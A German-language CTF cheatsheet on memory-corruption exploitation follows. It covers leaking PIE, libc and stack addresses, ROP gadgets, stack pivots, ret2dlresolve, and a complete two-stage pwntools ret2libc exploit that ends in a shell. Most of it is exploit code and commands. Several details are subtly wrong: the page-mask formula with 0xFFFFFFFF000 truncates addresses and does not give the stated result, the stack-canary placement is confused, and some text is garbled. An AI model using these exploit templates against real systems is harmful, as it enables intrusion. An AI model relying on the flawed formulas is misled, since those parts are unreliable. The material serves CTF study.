

PWN - Adress Leak Cheatsheet

Schutzmechanismen & Bypass-Techniken | CTF / OSCP / Hackerpraxis

0. Grundlagen

Schutzmechanismen

Schutz	Beschreibung	Bypass
NX	Stack nicht ausfuehrbar	ROP / ret2libc / ret2plt
PIE	Code-Adressen randomisiert	Info-Leak + Berechnung
Canary	Stack-Schutz gegen Overflow	Leak / Brute-Force / UAF
RELRO	GOT schreibgeschuetzt (full)	ret2dlresolve / GOT-leak
ASLR	Libc/Stack/Heap randomisiert	Leak / Brute-Force
SHSTK/ IBT	Shadow Stack / Indirect Branch Tracking	Seltener in CTFs

Check Binary-Schutz

```
checksec --file=./binary  
# oder in GDB:  
checksec
```

x86-64 Calling Convention

Argument	Register
1.	rdi
2.	rsi
3.	rdx
4.	rcx
5.	r8

6.	r9
Rueckgabe	rax
Return Address	[rsp] / ret

Wichtige Offsets (x86-64)

Layout	Bytes
buf[64] + saved RBP[8]	72 Bytes bis Return Address
buf[32] + saved RBP[8]	40 Bytes bis Return Address
Pointer Groesse (x86-64)	8 Bytes
Page Size	0x1000 (4096 Bytes)
Lower 12 Bits = Offset	mask mit 0xfff

1. PIE Bypass - Code Adressen

PIE (Position Independent Executable) randomisiert die Basisadresse des Binaries. Alle internen Adressen (Funktionen, GOT, Strings) sind relativ zur PIE Base. **PIE Base ist immer page-aligned** = vielfaches von `0x1000`.

Formel

```
# PIE Base berechnen:
pie_base = leaked_addr & 0xFFFFFFFF000

# Oder exakt (wenn Offset bekannt):
pie_base = leaked_addr - offset_of_function

# Alle Adressen berechnen:
absolute_addr = pie_base + relative_offset
```

Pie Base aus Funktions-Adresse berechnen

```
# Offset einer Funktion finden:
readelf -s ./binary | grep vuln
# Ausgabe: 00000000000011a9 FUNC vuln
# Offset = 0x11a9

# PIE Base berechnen:
leak = 0x6495683d31a9 # dein Leak
offset_vuln = 0x11a9

pie_base = leak - offset_vuln
# oder: pie_base = leak & 0xFFFFFFFF000
# Ergebnis: 0x6495683d3000
```

Woher kommt ein PIE-Leak?

Methode	Beschreibung
<code>printf %p / %lx</code>	Programm gibt Adresse direkt aus
Format String Bug	<code>%p</code> , <code>%x</code> , <code>%lx</code> auf Stack lesen
GOT-Leak (printf/puts)	PLT/GOT Adressen auslesen
Heap Infoleak	Pointers auf Code-Segmente

Pie Base ausgeben in Pwntools

```
from pwn import *

e = ELF("./binary")
e.address = pie_base # Setze PIE Base!

puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
vuln_addr = e.symbols["vuln"]
```

2. Libc Base Leaken

Libc Base ist die Basisadresse der Shared Library. Die unteren 12 Bits sind immer `0x000` (page-aligned). Alle libc-Funktionen (system, execve, etc.) sind als Offsets zur Libc Base bekannt.

Formel

```
# Libc Base berechnen:
libc_base = leaked_libc_addr - function_offset_in_libc

# Beispiel:
# puts in libc liegt bei Offset 0x80e50 (variabel!)
libc_base = leaked_puts_addr - 0x80e50

# Oder:
libc_base = leaked_puts_addr & 0xFFFFFFFF000 # (nur bei genauer Adresse)
```

Methode 1: GOT-Leak (beliebteste Methode)

Voraussetzung: GOT muss lesbar sein (No RELRO oder Partial RELRO)

```
# GOT-Adressen finden:
objdump -R ./binary
readelf -r ./binary

# Beispiel:
puts@GOT    = 0x33a0 # (Relativer Offset im Binary)
printf@GOT  = 0x33a8

# Absolut berechnen:
puts@GOT_abs = pie_base + 0x33a0
```

How-To: GOT-Leak via ROP (puts@plt(puts@GOT))

```
# Ziel: puts@plt(puts@GOT) aufrufen
# Das gibt die aufgelöste libc-Adresse von puts aus

# Benötigte Gadgets:
pop_rdi = pie_base + 0x... # pop rdi; ret
puts_plt = pie_base + 0x1080 # puts@plt
puts_got = pie_base + 0x33a0 # puts@GOT
vuln     = pie_base + 0x11a9 # vuln (zurueck zum Loop)
```

```
# ROP Chain:
payload = b"A" * 72          # 64 buf + 8 saved RBP
payload += p64(pop_rdi)      # 1. pop rdi; ret
payload += p64(puts_got)     # 2. rdi = puts@GOT
payload += p64(puts_plt)     # 3. call puts -> leak libc addr
payload += p64(vuln)         # 4. zurueck zu vuln fuer 2. Stage
```

Methode 2: __libc_start_main Return Leak

```
# Die Return-Adresse von __libc_start_main liegt auf dem Stack
# und zeigt in die libc (nahe an libc_base)

# Offset von __libc_start_main+XXX zu libc_base:
# Variabel pro libc-Version! Mit GDB finden:

# In GDB:
b *main+XX    # Breakpoint am Return von main
x/gx $rsp     # Return-Adresse anzeigen
# Adresse - Offset = libc_base

# Offset mit pwntools finden:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# __libc_start_main+XXX Offset varies by libc version
```

Methode 3: Unsorted Bin Leak (Heap)

```
# Wenn Heap-Adressen bekannt sind:
# Unsorted bin -> main_arena -> libc_base

# main_arena Offset in libc (GDB):
# p &main_arena
# main_arena offset - 0x60 (bk) = leaked addr

libc_base = leaked_unsorted_bin_addr - 0x1ecb80 # variabel!
```

Libc Offset finden (fuer Exploit)

```
# Mit pwntools:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_offset = libc.symbols["system"]
binsh_offset = next(libc.search(b"/bin/sh"))

# Absolute Adressen:
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
```

3. Stack Adresse Leaken

Stack-Adressen sind noetig fuer: Stack Pivots, viron Pointer, L00P/ROP2. Die Stack-Adresse liegt auf dem Stack selbst (saved RBP zeigt oft auf den Stack).

Methoden

Methode 1: Saved RBP / Frame Pointer Leak

```
# Wenn du saved RBP auslesen kannst (Format String, UAF, etc.)
# saved RBP zeigt typischerweise in die Nahe des aktuellen Frames

# Format String (64-bit):
# %7$p -> 7. Argument auf Stack (oft saved RBP / Return-Adresse)
# %8$p -> 8. Argument

# Stack Base berechnen:
stack_leak = leaked_rbp_value
stack_base = stack_leak & 0xFFFFFFFF000 # page-aligned
```

Methode 2: __libc_start_main / __libc_csu_init Return Adresse

```
# Die Return-Adresse von main (__libc_start_main+XXX)
# liegt auf dem Stack -> leaked_addr zeigt in libc
# Die Stack-Adresse SELBST findest du am unteren Ende des Frames

# Stack-Adresse aus saved RBP berechnen:
# saved RBP von main -> zeigt auf Stack von __libc_start_main
stack_addr = leaked_saved_rbp + offset
```

Methode 3: Environment-Variablen

```
#viron Pointer:
# In GDB:
p __environ
# Offset finden:
stack_base = leaked_environ - environ_offset # typisch 0x... varies
```

Methode 4: Stack Pivot mit saved RBP

```
# saved RBP liegt bei buf+64 (bei 64-byte buf)
# Wenn du saved RBP ueberschreibst:
# leave = mov rsp, rbp; pop rbp
# -> rsp zeigt wohin saved RBP zeigt!

# Stack-Pivot:
payload = b"A" * 64          # buf fuellen
payload += p64(stack_target) # saved RBP = neue Stack-Adresse
payload += p64(leave_ret)    # leave; ret -> rsp = stack_target
```

4. Ohne pop rdi - ret (kein ROP-Gadget)

Problem: Kein `pop rdi; ret` Gadget im Binary. Loesung: `ret2dlresolve`, GOT-Overwrites, oder `__libc_csu_init`.

ret2dlresolve

```
# ret2dlresolve trickt den dynamic linker
# Er erzeugt einen gefaelschten ELF-Relocation-Eintrag
# Der Resolver loest beliebige Funktion auf (z.B. system)

# Benötigte Gadgets:
# pop rbp; ret    (vorhanden: 0x1193)
# leave; ret      (vorhanden: 0x1217)
# read@plt        (um payload auf Stack zu lesen)

# Schritte:
# 1. Initialen Buffer-Overflow -> ROP Chain
# 2. ROP ruft read(0, bss_addr, big_size) auf
# 3. read laedt neuen Payload mit fake Relocation
# 4. Stack Pivot zur BSS
# 5. ret2dlresolve loest system() auf

# Pwntools:
from pwn import *
dlresolve = Ret2dlresolvePayload(e, symbol="system", args=["/bin/sh"])
```

GOT-Overwrite (No RELRO)

```
# Wenn GOT beschreibbar (No RELRO):
# GOT-Eintrag ueberschreiben -> naechster Aufruf springt woanders

# Beispiel: gets@GOT auf printf@plt setzen
gets_got = pie_base + 0x33b0
printf_plt = pie_base + 0x1090

# In der ROP Chain:
payload += p64(pop_rbp)          # oder andere Gadgets
payload += p64(gets_got)         # rbp zeigt auf gets@GOT
# ... dann weiter mit leave; ret
```

__libc_csu_init Gadgets

```
# Der "__libc_csu_init" hat 2 nuetzliche Gadgets:
```

```
# Gadgets 1 (pop-Sequenz):  
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret  
# -> Erlaubt 6 Werte vom Stack zu laden!  
  
# Gadgets 2 (mov-Sequenz):  
# mov rdx, r14  
# mov rsi, r13  
# mov edi, r12d  
# call qword ptr [r15 + rbx*8]  
  
# Damit kann man: rdi, rsi, rdx kontrollieren!
```

5. Komplette Exploit-Struktur (2-Stage)

PATTERN: Bei vielen CTF-Challenges brauchst du 2 Stages: **Stage 1:** Leaks sammeln | **Stage 2:** Exploit ausfuehren

Stage 1: Leaks

```
from pwn import *

e = ELF("./binary")
libc = ELF("./libc.so.6")

# 1. PIE Base berechnen
leak_vuln = 0x6495683d31a9 # vom Programm-Leak
pie_base = leak_vuln & 0xFFFFFFFF000

# 2. Libc Base leaken
pop_rdi = pie_base + 0x...
puts_plt = pie_base + e.plt["puts"]
puts_got = pie_base + e.got["puts"]
vuln      = pie_base + e.symbols["vuln"]

payload1 = b"A" * 72
payload1 += p64(pop_rdi) + p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln) # zurueck fuer Stage 2

p.sendlineafter(b"Gib deinen Payload: ", payload1)
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))

# 3. Libc Base berechnen
libc_base = leaked_puts - libc.symbols["puts"]

# 4. Stack Leak (falls noetig)
# ... (analog mit saved RBP oder __environ)
```

Stage 2: Shell holen

```
# Nachdem wir PIE Base + Libc Base kennen:
system_addr = libc_base + libc.symbols["system"]
binsh_addr  = libc_base + next(libc.search(b"/bin/sh"))

# ret2libc Exploit:
pop_rdi = pie_base + 0x...
ret_gadget = pie_base + 0x101a # Alignment

payload2 = b"A" * 72
```

```
payload2 += p64(ret_gadget)      # Stack-Alignment (16-byte)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

p.sendlineafter(b"Gib deinen Payload: ", payload2)
p.interactive()
```

6. Quick Reference - Adressen finden

Alle Gadget-Adressen finden

```
# ROPgadget:
ROPgadget --binary ./binary
ROPgadget --binary ./binary --only "pop|ret"

# pwntools:
rop = ROP(e)
rop.find_gadget(["pop rdi", "ret"])
rop.find_gadget(["pop rsi", "pop r15", "ret"])
```

GOT/PLT Adressen

```
# GOT:
objdump -R ./binary
readelf -r ./binary

# PLT:
objdump -d ./binary | grep plt

# pwntools:
e.plt["puts"]      # puts@PLT
e.got["puts"]      # puts@GOT
e.symbols["vuln"]  # vuln Offset
```

Libc Offsets (fuer lokale Libc)

```
# pwntools:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.symbols["system"]
libc.symbols["__libc_start_main"]
next(libc.search(b"/bin/sh"))

# oder: strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
```

One-Gadget (Libc)

```
# Installieren:
gem install one_gadget

# Finden:
```

```
one_gadget /lib/x86_64-linux-gnu/libc.so.6  
# Gibt Adressen die direkt execve("/bin/sh", ...) ausfuehren
```

7. Beispiele aus der Praxis

Beispiel 1: PIE Leak via printf (%p)

```
# C Source:
printf("Adresse: %p\n", vuln);

# Ausgabe: Adresse: 0x55a1b3c4d1a9
# Berechnung:
pie_base = 0x55a1b3c4d1a9 & 0xFFFFFFFF000
# pie_base = 0x55a1b3c4d000
```

Beispiel 2: Canary Leak via Format String

```
# Canary liegt typischerweise bei buf+72+8 (nach saved RBP)
# Bei 64-byte buf:
# buf[0-63] = offset 0-63
# saved RBP = offset 64-71
# Canary = offset 72-79 (bei buf+64+8+1?)

# Format String:
# %11$p (je nach Stack-Aufbau)
# Canary hat unteres Byte immer 0x00
```

Beispiel 3: Libc Leak via Unsorted Bin

```
# Heap-Exploitation:
# 1. chunk allozieren und free'n
# 2. chunk landet in unsorted bin
# 3. fd/bk Pointers zeigen auf main_arena
# 4. main_arena - 0x60 = libc_base + offset

# In GDB:
vis_heap_chunks
x/gx (chunk_addr+0x10) # fd pointer
x/gx (chunk_addr+0x18) # bk pointer
```

Beispiel 4: Stack Leak via __environ

```
# Wenn du einen GOT-Leak hast:
# 1. Libc Base berechnen
# 2. __environ Adresse aus libc holen
# 3. __environ zeigt auf Stack-Adresse!
```

```
environ_addr = libc_base + libc.symbols["__environ"]  
# Benötigt: No RELRO + GOT-Leak + 2. ROP Chain
```

8. GDB Referenz

Wichtige GDB Befehle

```
# Breakpoints:
b *0xADDRESS
b vuln

# Register anzeigen:
info registers
p $rdi
p $rsp

# Stack anzeigen:
x/20gx $rsp
x/gx $rsp+8      # 1. Stack-Wert

# Memory anzeigen:
x/gx 0xADDRESS
x/s 0xADDRESS    # als String

# Heap:
heap
vis_heap_chunks
p/x *(char**)arena

# PIE Base finden:
info proc mappings
# Gadgets:
ropper
search /g "pop rdi; ret"

# Payload testen:
r < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72+b'B'*8)")
```

9. Fehler & Tips

Haeufige Fehler:

- PIE Base vergessen zu setzen in pwntools (`e.address = pie_base`)
- Stack-Alignment vergessen (ret-Gadget fuer 16-byte Align)
- Falscher Offset fuer libc (checke lokale libc Version!)
- Nullbytes in Payload (gets() terminiert bei \n, \x00)
- Little-Endian vergessen (`p64()` in pwntools)
- Payload zu lang fuer einen read() (max ~4096 bytes)

Pro-Tipps:

- Immer `context.binary = e` setzen fuer korrektes Arch
- Bei `gets()`: keine Nullbytes, kein \n (0x0a) im Payload
- Bei `read()`: Nullbytes erlaubt, feste Laenge
- `recvuntil()` / `sendlineafter()` fuer Interaktion
- Immer `p.interactive()` am Ende fuer Shell
- Libc-Version mit `ldd ./binary` pruefen
- Remote Libc mit LibcSearcher oder <https://libc.blukat.me/> finden

Pwntools Boilerplate

```
from pwn import *

context.binary = e = ELF("./binary")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Local:
p = process(e.path)

# Remote:
# p = remote("challenge.ctf.com", 1337)

p.interactive()
```